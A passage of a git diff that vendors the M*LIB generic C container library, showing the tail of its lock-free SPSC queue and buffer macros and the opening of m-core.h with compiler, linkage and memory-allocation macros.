+    atomic_store_explicit(&table->prodIdx, w+1, memory_order_release);        \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _push_move, buffer_t table, type *x)                        \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    if (w-r >= table->size)                                                   \
+      return false;                                                           \
+    unsigned int i = w & (table->size -1);                                    \
+    M_CALL_INIT_MOVE(oplist, table->Tab[i].x, *x);                            \
+    atomic_store_explicit(&table->prodIdx, w+1, memory_order_release);        \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _pop, type *ptr, buffer_t table)                            \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_relaxed);              \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_acquire);              \
+    if (w-r == 0)                                                             \
+      return false;                                                           \
+    unsigned int i = r & (table->size -1);                                    \
+    M_DO_MOVE (oplist, *ptr, table->Tab[i].x);                                \
+    atomic_store_explicit(&table->consoIdx, r+1, memory_order_release);       \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(bool, name, _pop_move, type *ptr, buffer_t table)                       \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_relaxed);              \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_acquire);              \
+    if (w-r == 0)                                                             \
+      return false;                                                           \
+    unsigned int i = r & (table->size -1);                                    \
+    M_CALL_INIT_MOVE (oplist, *ptr, table->Tab[i].x);                         \
+    atomic_store_explicit(&table->consoIdx, r+1, memory_order_release);       \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_N(unsigned, name, _push_bulk, buffer_t table, unsigned n, type const x[]) \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (x != NULL);                                                     \
+    M_ASSERT (n <= table->size);                                              \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    unsigned int max = M_MIN(n, table->size - (w-r) );                        \
+    if (max == 0)                                                             \
+      return 0;                                                               \
+    for(unsigned int k = 0; k < max; k++) {                                   \
+      unsigned int i = (w+k) & (table->size -1);                              \
+      M_CALL_INIT_SET(oplist, table->Tab[i].x, x[k]);                         \
+    }                                                                         \
+    atomic_store_explicit(&table->prodIdx, w+max, memory_order_release);      \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_N(unsigned, name, _push_move_bulk, buffer_t table, unsigned n, type x[])  \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (x != NULL);                                                     \
+    M_ASSERT (n <= table->size);                                              \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    unsigned int max = M_MIN(n, table->size - (w-r) );                        \
+    if (max == 0)                                                             \
+      return 0;                                                               \
+    for(unsigned int k = 0; k < max; k++) {                                   \
+      unsigned int i = (w+k) & (table->size -1);                              \
+      M_CALL_INIT_MOVE(oplist, table->Tab[i].x, x[k]);                        \
+    }                                                                         \
+    atomic_store_explicit(&table->prodIdx, w+max, memory_order_release);      \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_N(unsigned, name, _pop_bulk, unsigned n, type ptr[], buffer_t table)      \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_ASSERT (n <= table->size);                                              \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_relaxed);              \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_acquire);              \
+    if (w-r == 0)                                                             \
+      return 0;                                                               \
+    unsigned int max = M_MIN(w-r, n);                                         \
+    for(unsigned int k = 0; k < max; k++) {                                   \
+      unsigned int i = (r+k) & (table->size -1);                              \
+      M_DO_MOVE (oplist, ptr[k], table->Tab[i].x);                            \
+    }                                                                         \
+    atomic_store_explicit(&table->consoIdx, r+max, memory_order_release);     \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_N(unsigned, name, _pop_move_bulk, unsigned n, type ptr[], buffer_t table) \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_ASSERT (ptr != NULL);                                                   \
+    M_ASSERT (n <= table->size);                                              \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_relaxed);              \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_acquire);              \
+    if (w-r == 0)                                                             \
+      return 0;                                                               \
+    unsigned int max = M_MIN(w-r, n);                                         \
+    for(unsigned int k = 0; k < max; k++) {                                   \
+      unsigned int i = (r+k) & (table->size -1);                              \
+      M_CALL_INIT_MOVE (oplist, ptr[k], table->Tab[i].x);                     \
+    }                                                                         \
+    atomic_store_explicit(&table->consoIdx, r+max, memory_order_release);     \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, _push_force, buffer_t table, type const x)                  \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    /* If no place in queue, try to skip the last one */                      \
+    while (w-r >= table->size) {                                              \
+      bool b = atomic_compare_exchange_strong(&table->consoIdx, &r, r+1);     \
+      r += b;                                                                 \
+    }                                                                         \
+    unsigned int i = w & (table->size -1);                                    \
+    M_CALL_INIT_SET(oplist, table->Tab[i].x, x);                              \
+    atomic_store_explicit(&table->prodIdx, w+1, memory_order_release);        \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(buffer_t table)                                            \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(table);                                             \
+    unsigned int r = atomic_load_explicit(&table->consoIdx,                   \
+                                          memory_order_relaxed);              \
+    unsigned int w = atomic_load_explicit(&table->prodIdx,                    \
+                                          memory_order_acquire);              \
+    /* We return an approximation as we can't read both r & w atomically      \
+       As we read producer index after consumer index,                        \
+       and they are atomic variables without reordering                       \
+       producer index is always greater or equal than consumer index          \
+       (or on overflow occurs, in which case as we compute with modulo        \
+       arithmetic, the right result is computed).                             \
+       We may return a result which is greater than the size of the queue     \
+       if the function is interrupted a long time between reading the         \
+       index. The function is not protected against it.                       \
+    */                                                                        \
+    return w-r;                                                               \
+  }                                                                           \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _capacity)(buffer_t v)                                             \
+ {                                                                            \
+   return v->size;                                                            \
+ }                                                                            \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(buffer_t v)                                             \
+  {                                                                           \
+    return M_F(name, _size) (v) == 0;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _full_p)(buffer_t v)                                              \
+  {                                                                           \
+    return M_F(name, _size)(v) >= v->size;                                    \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, _init, buffer_t buffer, size_t size)                        \
+  {                                                                           \
+    M_ASSERT (buffer != NULL);                                                \
+    M_ASSERT( M_POWEROF2_P(size) && 0 < size && size <= UINT_MAX);            \
+    M_ASSERT(((policy) & (M_BUFFER_STACK|M_BUFFER_PUSH_OVERWRITE)) == 0);     \
+    M_GLOBAL_CONTEXT();                                                       \
+    atomic_init(&buffer->prodIdx, (unsigned int) size);                       \
+    atomic_init(&buffer->consoIdx, (unsigned int) size);                      \
+    buffer->size = (unsigned int) size;                                       \
+    buffer->Tab = M_CALL_REALLOC(oplist, M_F(name, _el_ct), NULL, 0, size);   \
+    if (M_UNLIKELY_NOMEM (buffer->Tab == NULL)) {                             \
+      M_MEMORY_FULL (M_F(name, _el_ct), size);                                \
+    }                                                                         \
+    M_QU3UE_SPSC_CONTRACT(buffer);                                            \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, _clear, buffer_t buffer)                                    \
+  {                                                                           \
+    M_QU3UE_SPSC_CONTRACT(buffer);                                            \
+    M_GLOBAL_CONTEXT();                                                       \
+    unsigned int iP = atomic_load_explicit(&buffer->prodIdx, memory_order_relaxed); \
+    unsigned int i  = iP & (buffer->size -1);                                 \
+    unsigned int iC = atomic_load_explicit(&buffer->consoIdx, memory_order_relaxed); \
+    unsigned int j  = iC & (buffer->size -1);                                 \
+    while (i != j) {                                                          \
+      M_CALL_CLEAR(oplist, buffer->Tab[j].x);                                 \
+      j = (j + 1) >= buffer->size ? 0 : (j + 1);                              \
+    }                                                                         \
+    M_CALL_FREE(oplist, M_F(name, _el_ct), buffer->Tab, buffer->size);        \
+    buffer->Tab = NULL; /* safer */                                           \
+    buffer->size = 3;                                                         \
+  }                                                                           \
+
+
+/********************************** INTERNAL *********************************/
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_BUFF3R_OPLIST_P1(arg) M_BUFF3R_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_BUFF3R_OPLIST_P2(name, oplist)                                      \
+  M_IF_OPLIST(oplist)(M_BUFF3R_OPLIST_P3, M_BUFF3R_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_BUFF3R_OPLIST_FAILURE(name, oplist)                                 \
+  ((M_LIB_ERROR(ARGUMENT_OF_BUFFER_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a buffer */
+#define M_BUFF3R_OPLIST_P3(name, oplist)                                      \
+  (INIT(M_F(name, _i_init))                                                   \
+   ,INIT_SET(M_F(name, _init_set))                                            \
+   ,SET(M_F(name, _set))                                                      \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                        \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,RESET(M_F(name,_reset))                                                   \
+   ,PUSH(M_F(name,_push))                                                     \
+   ,POP(M_F(name,_pop))                                                       \
+   ,OPLIST(oplist)                                                            \
+   ,EMPTY_P(M_F(name, _empty_p)),                                             \
+   ,FULL_P(M_F(name, _full_p)),                                               \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   )
+
+/* Same as M_EMPLACE_QUEUE_GENE but use M_GLOBAL_CONTEXT */
+#define M_BUFF3R_EMPLACE_QUEUE_GENE(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+M_N(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+{                                                                             \
+  M_GET_TYPE oplist data;                                                     \
+  M_GLOBAL_CONTEXT();                                                         \
+  M_EMPLACE_CALL_FUNC(a, init_func, oplist, data, exp_emplace_type);          \
+  M_F(name, _push)(v, data);                                                  \
+  M_CALL_CLEAR(oplist, data);                                                 \
+}
+ 
+   /********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define BUFFER_DEF M_BUFFER_DEF
+#define BUFFER_DEF_AS M_BUFFER_DEF_AS
+#define BUFFER_OPLIST M_BUFFER_OPLIST
+#define QUEUE_MPMC_DEF M_QUEUE_MPMC_DEF
+#define QUEUE_MPMC_DEF_AS M_QUEUE_MPMC_DEF_AS
+#define QUEUE_SPSC_DEF M_QUEUE_SPSC_DEF
+#define QUEUE_SPSC_DEF_AS M_QUEUE_SPSC_DEF_AS
+
+#define buffer_policy_e m_buffer_policy_e
+#define BUFFER_QUEUE M_BUFFER_QUEUE
+#define BUFFER_STACK M_BUFFER_STACK
+#define BUFFER_PUSH_OVERWRITE M_BUFFER_PUSH_OVERWRITE
+#define BUFFER_DEFERRED_POP M_BUFFER_DEFERRED_POP
+
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-core.h b/lib/subghz_unleashed_compat/include/mlib/m-core.h
new file mode 100644
index 000000000..78b38b351
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-core.h
@@ -0,0 +1,5857 @@
+/*
+ * M*LIB - Extended Pre-processing macros module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_MACRO_H
+#define MSTARLIB_MACRO_H
+
+#include <stddef.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <limits.h>
+#include <string.h>
+#include <ctype.h> /* For toupper, tolower, isprint, isspace */
+#include <assert.h>
+#include <stdlib.h>  /* For abort, malloc, realloc, free, strtol, strtoul, strtoll, strtoull, strtof, strtod, strtold, rand */
+
+/* By default, always use stdio. Can be turned off in specific environment if needed
+   by defining M_USE_STDIO to 0 */
+#ifndef M_USE_STDIO
+# define M_USE_STDIO 1
+#endif
+#if M_USE_STDIO
+# include <stdio.h>
+#endif
+
+/* By default, always use stdarg. Can be turned off in specific environment if needed
+   by defining M_USE_STDARG to 0 */
+#ifndef M_USE_STDARG
+# define M_USE_STDARG 1
+#endif
+#if M_USE_STDARG
+# include <stdarg.h>
+#endif
+
+/* By default, define also the small name API (without the m_ prefix) */
+#ifndef M_USE_SMALL_NAME
+# define M_USE_SMALL_NAME 1
+#endif
+
+/* Used functions of the libc which are locale dependent:
+   toupper, tolower, isprint, isspace
+   strtol, strtoul, strtoll, strtoull, strtof, strtod, strtold
+   printf, fprintf, fscanf
+   Theses functions may behave differently in function of the locale.
+*/
+
+/***************************************************************/
+/************************ Compiler Macro ***********************/
+/***************************************************************/
+
+/* Define M*LIB version */
+#define M_CORE_VERSION_MAJOR 0
+#define M_CORE_VERSION_MINOR 8
+#define M_CORE_VERSION_PATCHLEVEL 1
+
+/* M_ASSUME is equivalent to M_ASSERT, but gives hints to compiler
+   about how to optimize the code if NDEBUG is defined.
+   It is worth in very specific places usually. */
+#if !defined(NDEBUG)
+# define M_ASSUME(x) M_ASSERT(x)
+#elif defined(__GNUC__)                                                       \
+  && (__GNUC__ * 100 + __GNUC_MINOR__) >= 408
+# define M_ASSUME(x)                                                          \
+  ( (x) ? (void) 0 : __builtin_unreachable())
+#elif defined(_MSC_VER)
+# define M_ASSUME(x) __assume(x)
+#else
+# define M_ASSUME(x) M_ASSERT(x)
+#endif
+
+/* M_LIKELY / M_UNLIKELY gives hints on the compiler of the likelihood
+   of the given condition */
+#ifdef __GNUC__
+# define M_LIKELY(cond)   __builtin_expect(!!(cond), 1)
+# define M_UNLIKELY(cond) __builtin_expect(!!(cond), 0)
+#else
+# define M_LIKELY(cond)   (cond)
+# define M_UNLIKELY(cond) (cond)
+#endif
+
+/* Define the exclusion size so that 2 atomic variables are in
+   separate cache lines. This prevents false sharing to occur within the
+   CPU. */
+#if defined(_M_X64) || defined(_M_AMD64) || defined(__x86_64__)
+# define M_ALIGN_FOR_CACHELINE_EXCLUSION 128
+#else
+# define M_ALIGN_FOR_CACHELINE_EXCLUSION 64
+#endif
+
+/* Deprecated attribute for a function */
+#if defined(__GNUC__) &&  __GNUC__ >= 4
+# define M_ATTR_DEPRECATED __attribute__((deprecated))
+#else
+# define M_ATTR_DEPRECATED
+#endif
+
+/* Extension attribute to silent warnings on extensions */
+#if defined(__GNUC__)
+# define M_ATTR_EXTENSION __extension__
+#else
+# define M_ATTR_EXTENSION
+#endif
+
+/* Extension attribute for no return function */
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+# define M_ATTR_NO_RETURN _Noreturn
+#elif defined(__GNUC__)
+# define M_ATTR_NO_RETURN  __attribute__ ((noreturn))
+#elif defined(_MSC_VER)
+# define M_ATTR_NO_RETURN  __declspec(noreturn)
+#else
+# define M_ATTR_NO_RETURN 
+#endif
+
+/* The hot/cold attribute on functions is used to inform the compiler
+   that the function is likely/unlikely to be executed. */
+#if defined(__GNUC__)
+# define M_ATTR_HOT_FUNCTION     __attribute__ ((hot))
+# define M_ATTR_COLD_FUNCTION    __attribute__ ((cold))
+#else
+# define M_ATTR_HOT_FUNCTION
+# define M_ATTR_COLD_FUNCTION
+#endif
+
+/* Prefetch . */
+#if defined(__GNUC__)
+# define M_PREFETCH(p)           __builtin_prefetch((p), 0, 0)
+#else
+# define M_PREFETCH(p) do {                                                   \
+    volatile char m_c = *(volatile char *) (p);                               \
+    (void) m_c;                                                               \
+  } while (0)
+#endif
+
+/* Definition of the typeof keyword
+   In C23, we can use the standard keyword.
+   Otherwise we use some extensions of the compilers. */
+#ifdef _MSC_VER
+#define m_typeof(x) decltype(x)
+#elif defined(__GNUC__)   
+#define m_typeof(x) __typeof__(x)
+#else
+#define m_typeof(x) typeof(x)
+#endif
+
+/* Ignore some warnings detected by some compilers in the library.
+ * Whatever we do, there is some warnings that cannot be fixed.
+ * So they are ignored in order to avoid polluting the user with
+ * theses warnings. They are:
+ *
+ * * If we build in C++ mode, they are warnings about using the C 
+ * dialect. It is expected as M*LIB is a C library.
+ *
+ * * For clang, the generated functions may not be always used,
+ * and CLANG failed to realize it.
+ * See https://bugs.llvm.org//show_bug.cgi?id=22712
+ *
+ * * A manually created buffer is given to fscanf. It is needed
+ * to give the size of the array of char to fscanf (this is the safe way).
+ */
+#if defined(__clang__) && defined(__cplusplus)
+
+/* Warnings disabled for CLANG in C++ mode */
+#if __clang_major__ >= 6
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wold-style-cast\"")                    \
+  _Pragma("clang diagnostic ignored \"-Wzero-as-null-pointer-constant\"")     \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+#else
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wold-style-cast\"")                    \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+#endif
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("clang diagnostic pop")
+
+#elif defined(__GNUC__) && defined(__cplusplus)
+
+/* Warnings disabled for GNU C in C++ mode
+ * However, G++ doesn't support well disabling temporary warnings.
+ * See https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53431
+ */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wold-style-cast\"")                      \
+  _Pragma("GCC diagnostic ignored \"-Wzero-as-null-pointer-constant\"")       \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("GCC diagnostic pop")
+
+#elif defined(__clang__)
+
+/* Warnings disabled for CLANG in C mode */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wunused-function\"")                   \
+  _Pragma("clang diagnostic ignored \"-Wformat-nonliteral\"")
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("clang diagnostic pop")
+
+#elif defined(__GNUC__)
+
+#if __GNUC__ >= 12
+/* Warnings disabled for GNU C in C mode (Wstringop-overflow produces false warnings) */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")                   \
+  _Pragma("GCC diagnostic ignored \"-Wstringop-overflow\"")
+#else
+/* Warnings disabled for GNU C in C mode */
+#define M_BEGIN_PROTECTED_CODE                                                \
+  _Pragma("GCC diagnostic push")                                              \
+  _Pragma("GCC diagnostic ignored \"-Wformat-nonliteral\"")
+#endif
+
+#define M_END_PROTECTED_CODE                                                  \
+  _Pragma("GCC diagnostic pop")
+
+#else
+
+/* No warnings disabled */
+#define M_BEGIN_PROTECTED_CODE
+#define M_END_PROTECTED_CODE
+
+#endif
+
+/* Warnings disabled for CLANG in C mode:
+   Due to the genericity of the _Generic generation,
+   we cannot avoid generating both T and const T in the generic association. */
+#if defined(__clang__) && __clang_major__ >= 15
+#define M_G3N_BEGIN_PROTECTED_CODE                                            \
+  _Pragma("clang diagnostic push")                                            \
+  _Pragma("clang diagnostic ignored \"-Wunreachable-code-generic-assoc\"")    
+
+#define M_G3N_END_PROTECTED_CODE                                              \
+  _Pragma("clang diagnostic pop")
+
+#else
+
+#define M_G3N_BEGIN_PROTECTED_CODE
+#define M_G3N_END_PROTECTED_CODE
+
+#endif
+
+
+/* Autodetect if Address sanitizer is run */
+#if defined(__has_feature)
+# if __has_feature(address_sanitizer)
+#  define M_ADDRESS_SANITIZER 1
+# endif
+#endif
+#if defined(__SANITIZE_ADDRESS__) && !defined(M_ADDRESS_SANITIZER)
+#  define M_ADDRESS_SANITIZER 1
+#endif
+
+/* For visual C++, we need a standard compliant C99/C++11 */
+#if defined(_MSVC_TRADITIONAL) && _MSVC_TRADITIONAL
+# error Miss option '/Zc:preprocessor' to enable a standard-compliant C99/C++11 preprocessor.
+#endif
+
+/*
+ * Do not create the following symbols that are defined in GLIBC malloc.h
+ * M_MXFAST
+ * M_NLBLKS
+ * M_GRAIN
+ * M_KEEP
+ * M_TRIM_THRESHOLD
+ * M_TOP_PAD
+ * M_MMAP_THRESHOLD
+ * M_MMAP_MAX
+ * M_CHECK_ACTION
+ * M_PERTURB
+ * M_ARENA_TEST
+ * M_ARENA_MAX
+ */
+
+M_BEGIN_PROTECTED_CODE
+
+
+/************************************************************/
+/************************* LINKAGE **************************/
+/************************************************************/
+
+/* The following semantics apply to inline in C99:
+   - inline: No generation of an extern visible function. May inline or may call the external function.
+   - extern inline: externally visible code is emitted, so at most one translation unit can use this.
+   - static inline: No generation of an extern visible function. May inline or may call one static function.
+*/
+/* If the user requests to use only declaration for all M*LIB functions globally (M_USE_DECL),
+   it requests no inlining to the compiler and emits code as weak symbol.
+   Then at most one translation unit should request the definition of all functions (M_USE_DEF).
+   This is only supported by GCC and CLANG. You should also use the options -ffunction-sections -fdata-sections -Wl,--gc-sections
+   Otherwise it would increase the size of the executable.
+   If M_USE_FINE_GRAINED_LINKAGE, then the mechanism can be turn on / off dynamically in compilation time
+   to decl or def the functions in function of M_USE_DECL / M_USE_DEF
+   Otherwise uses the classic "M_INLINE" (inline for C++ or static inline for C)
+   inline in C++ as a weak definition by default, which may reduce code size in executable.
+*/
+#if !defined(__cplusplus) && defined(__GNUC__)
+# define M_INLINE_PRAGMA _Pragma("GCC diagnostic ignored \"-Wmissing-prototypes\"") 
+#else
+# define M_INLINE_PRAGMA
+#endif
+#if defined(__GNUC__) && defined(M_USE_FINE_GRAINED_LINKAGE)
+#define M_INLINE                                                              \
+  M_IF_EMPTY(M_USE_DECL)(                                                     \
+    M_IF_EMPTY(M_USE_DEF)(M_INLINE_PRAGMA __attribute__((noinline)) extern,   \
+                          M_INLINE_PRAGMA __attribute__((weak, noinline)) extern), \
+                          static inline)
+#elif defined(__GNUC__) && defined(M_USE_DECL)
+# ifdef M_USE_DEF
+#  define M_INLINE M_INLINE_PRAGMA __attribute__((noinline)) extern
+# else
+#  define M_INLINE M_INLINE_PRAGMA __attribute__((weak, noinline)) extern
+#endif
+#elif defined(__cplusplus) 
+#define M_INLINE inline
+#else
+#define M_INLINE static inline
+#endif
+
+
+
+/************************************************************/
+/********************* MEMORY handling **********************/
+/************************************************************/
+
+/* Default MEMORY handling macros.
+   Can be overloaded by user code.
+*/
+
+/* Define a C and C++ version for default memory allocators.
+   Note: For C build, we explicitly don't cast the return value of
+   malloc, realloc as it is safer (compilers shall warn in case
+   of invalid implicit cast, whereas they won't if there is an 
+   explicit cast) */
+
+/* Define allocators for object:
+ * void *M_MEMORY_ALLOC(ctx, type): 
+ *    Return a pointer to a new object of type 'type'
+ *    It returns NULL in case of memory allocation failure.
+ * void M_MEMORY_DEL(ctx, ptr): 
+ *    Free the object associated to the pointer.
+ * By default, 'context' does nothing.
+ * 'context' is the context parameter given to the memory functions to identify where to create the object.
+ * It exists only if M_USE_CONTEXT has been globally defined.
+ */
+#ifndef M_MEMORY_ALLOC
+#ifdef __cplusplus
+# include <cstdlib>
+# define M_MEMORY_ALLOC(ctx, type) ((type*)std::malloc (sizeof (type)))
+# define M_MEMORY_DEL(ctx, ptr)  std::free(ptr)
+#else
+# define M_MEMORY_ALLOC(ctx, type) malloc (sizeof (type))
+# define M_MEMORY_DEL(ctx, ptr)  free(ptr)
+#endif
+#endif
+
+/* Define allocators for array 
+ * void *M_MEMORY_REALLOC(context, type, ptr, o, n, perm):
+ *    Return a pointer to a new array of 'n' object of type 'type'.
+ *    If ptr is NULL, it creates a new array of type 'type' and size 'n'
+ *    If ptr is not null, it reallocates the given array of type 'type' and size 'o' to the new size.
+ *    It returns NULL in case of memory allocation failure.
+ * void M_MEMORY_FREE(type, ptr, o):
+ *    Free the object associated to the array of type 'type' at base 'ptr' of size 'o'.
+ * By default, 'o' size and 'context' do nothing.
+ * 'context' is the context parameter given to the memory functions to identify where to create the object.
+ * It exists only if M_USE_CONTEXT has been globally defined.
+ */
+#ifndef M_MEMORY_REALLOC
+#ifdef __cplusplus
+# include <cstdlib>
+# define M_MEMORY_REALLOC(ctx, type, ptr, o, n)                               \
+  ((type*) (M_UNLIKELY ((n) > SIZE_MAX / sizeof(type)) ? NULL : std::realloc ((ptr), (n)*sizeof (type))))
+# define M_MEMORY_FREE(ctx, type, ptr, o) std::free(ptr)
+#else
+# define M_MEMORY_REALLOC(ctx, type, ptr, o, n) (M_UNLIKELY ((n) > SIZE_MAX / sizeof(type)) ? NULL : realloc ((ptr), (n)*sizeof (type)))
+# define M_MEMORY_FREE(ctx, type, ptr, o) free(ptr)
+#endif
+#endif
+
+/* This macro is called on memory allocation failure.
+ * By default, it raises a fatal error and abort execution.
+ * It shall never continue execution.
+ * NOTE: Can be overloaded by user code.
+*/
+#ifndef M_MEMORY_FULL
+#define M_MEMORY_FULL(type, number)                                           \
+  M_RAISE_FATAL("Cannot allocate %zu objects of type '%s' (size '%zu') at (%s:%s:%d).\n", \
+                (size_t) (number), M_AS_STR(type), sizeof (type),             \
+                __FILE__, __func__, __LINE__)
+#endif
+
+
+// Default global memory context is to consider the global context as '0' if it is not defined.
+#ifndef M_USE_GLOBAL_CONTEXT
+#define M_USE_GLOBAL_CONTEXT 0
+#endif
+
+/* In order to support local context for memory functions, the prototypes and usages of some functions are modified
+ * so that they can accept a first argument 'm_context' which is the memory context parameter.
+ *
+ * For some functions, there is no meaning of a local memory context parameter:
+ * for all data shared between threads, only a global memory context has any meaning.
+ * For such cases, the memory context parameter is globally requested to the user through M_USE_GLOBAL_POOL or set to 0.
+ *
+ * This is controlled through M_USE_CONTEXT parameter that define the type of the memory context parameter
